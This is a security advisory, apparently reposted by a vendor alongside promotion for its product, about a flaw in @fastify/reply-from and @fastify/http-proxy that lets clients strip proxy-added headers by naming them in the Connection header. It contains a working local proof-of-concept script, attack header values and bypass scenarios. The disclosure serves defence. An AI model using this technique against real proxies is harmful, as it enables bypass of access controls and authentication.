GHSA-gwhp-pf74-vj37
HIGHGHSA-gwhp-pf74-vj37 is a high-severity (CVSS 8.6) vulnerability in @fastify/reply-from. O3 Security confirms whether GHSA-gwhp-pf74-vj37 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Fastify's connection header abuse enables stripping of proxy-added headers
Real-World Exposure
@fastify/reply-from📦@fastify/http-proxyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
@fastify/reply-from and @fastify/http-proxy process the client's Connection header after the proxy has added its own headers via rewriteRequestHeaders. This allows attackers to retroactively strip proxy-added headers (like access control or identification headers) from upstream requests by listing them in the Connection header value. This affects applications using these plugins with custom header injection for routing, access control, or security purposes.
Details
The vulnerability exists in @fastify/reply-from/lib/request.js at lines 128-136 (HTTP/1.1 handler) and lines 191-200 (undici handler). The processing flow is:
- Client headers are copied including the
connectionheader (@fastify/reply-from/index.jsline 91) - The proxy adds custom headers via
rewriteRequestHeaders(line 151) - During request construction, the transport handlers read the client's
Connectionheader and strip any headers listed in it - This stripping happens after
rewriteRequestHeaders, allowing clients to target proxy-added headers for removal
RFC 7230 Section 6.1 Connection header processing is intended for proxies to strip hop-by-hop headers from incoming requests before adding their own headers. The current implementation reverses this order, processing the client's Connection header after the proxy has already modified the header set.
The call chain:
@fastify/reply-from/index.jsline 91:headers = { ...req.headers }— copies ALL client headers includingconnectionindex.jsline 151:requestHeaders = rewriteRequestHeaders(this.request, headers)— proxy adds custom headers (e.g.,x-forwarded-by)index.jsline 180:requestImpl({...headers: requestHeaders...})— passes headers to transportrequest.jsline 191 (undici):getConnectionHeaders(req.headers)— reads Connection header FROM THE CLIENTrequest.jslines 198-200: Strips headers listed in Connection — including proxy-added headers
This is distinct from the general hop-by-hop forwarding concern — it's specifically about the client controlling which headers get stripped from the upstream request via the Connection header, subverting the proxy's rewriteRequestHeaders function.
PoC
Self-contained reproduction with an upstream echo service and a proxy that adds a custom header:
const fastify = require('fastify');
async function test() {
// Upstream service that echoes headers
const upstream = fastify({ logger: false });
upstream.get('/api/echo-headers', async (request) => {
return { headers: request.headers };
});
await upstream.listen({ port: 19801 });
// Proxy that adds a custom header via rewriteRequestHeaders
const proxy = fastify({ logger: false });
await proxy.register(require('@fastify/reply-from'), {
base: 'http://localhost:19801'
});
proxy.get('/proxy/*', async (request, reply) => {
const target = '/' + (request.params['*'] || '');
return reply.from(target, {
rewriteRequestHeaders: (originalReq, headers) => {
return { ...headers, 'x-forwarded-by': 'fastify-proxy' };
}
});
});
await proxy.listen({ port: 19800 });
// Baseline: proxy adds x-forwarded-by header
const res1 = await proxy.inject({
method: 'GET',
url: '/proxy/api/echo-headers'
});
console.log('Baseline response headers from upstream:');
const body1 = JSON.parse(res1.body);
console.log(' x-forwarded-by:', body1.headers['x-forwarded-by'] || 'NOT PRESENT');
// Attack: Connection header strips the proxy-added header
const res2 = await proxy.inject({
method: 'GET',
url: '/proxy/api/echo-headers',
headers: { 'connection': 'x-forwarded-by' }
});
console.log('\nAttack response headers from upstream:');
const body2 = JSON.parse(res2.body);
console.log(' x-forwarded-by:', body2.headers['x-forwarded-by'] || 'NOT PRESENT (stripped!)');
await proxy.close();
await upstream.close();
}
test();
Actual output:
Baseline response headers from upstream:
x-forwarded-by: fastify-proxy
Attack response headers from upstream:
x-forwarded-by: NOT PRESENT (stripped!)
The x-forwarded-by header that the proxy explicitly added in rewriteRequestHeaders is stripped before reaching the upstream.
Multiple headers can be stripped at once by sending Connection: x-forwarded-by, x-forwarded-for.
Both the undici (default) and HTTP/1.1 transport handlers in @fastify/reply-from are affected, as well as @fastify/http-proxy which delegates to @fastify/reply-from.
Impact
Attackers can selectively remove any header added by the proxy's rewriteRequestHeaders function. This enables several attack scenarios:
- Bypass proxy identification: Strip headers that identify requests as coming through the proxy, potentially bypassing upstream controls that differentiate between direct and proxied requests
- Circumvent access control: If the proxy adds headers used for routing, authorization, or security decisions (e.g.,
x-internal-auth,x-proxy-token), attackers can strip them to access unauthorized resources - Remove arbitrary headers: Any header can be targeted, including
Connection: authorizationto strip authentication orConnection: x-forwarded-for, x-forwarded-byto remove multiple headers at once
This vulnerability affects deployments where the proxy adds security-relevant headers that downstream services rely on for access control decisions. It undermines the security model where proxies act as trusted intermediaries adding authentication or routing signals.
Affected Versions
@fastify/reply-from— All versions, both undici (default) and HTTP/1.1 transport handlers@fastify/http-proxy— All versions (delegates to@fastify/reply-from)- Any configuration using
rewriteRequestHeadersto add headers that could be security-relevant - No special configuration required to exploit — works with default settings
Suggested Fix
The Connection header from the client should be processed and consumed before rewriteRequestHeaders is called, not after. Alternatively, the Connection header processing in request.js should maintain a list of headers that existed in the original client request and only strip those, not headers added by rewriteRequestHeaders.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @fastify/reply-from | all versions | 12.6.2 |
| 📦npm | @fastify/http-proxy | all versions | 11.4.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @fastify/reply-from. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @fastify/reply-from to 12.6.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gwhp-pf74-vj37 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-gwhp-pf74-vj37 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-gwhp-pf74-vj37. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gwhp-pf74-vj37 in your dependencies?
O3 detects GHSA-gwhp-pf74-vj37 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.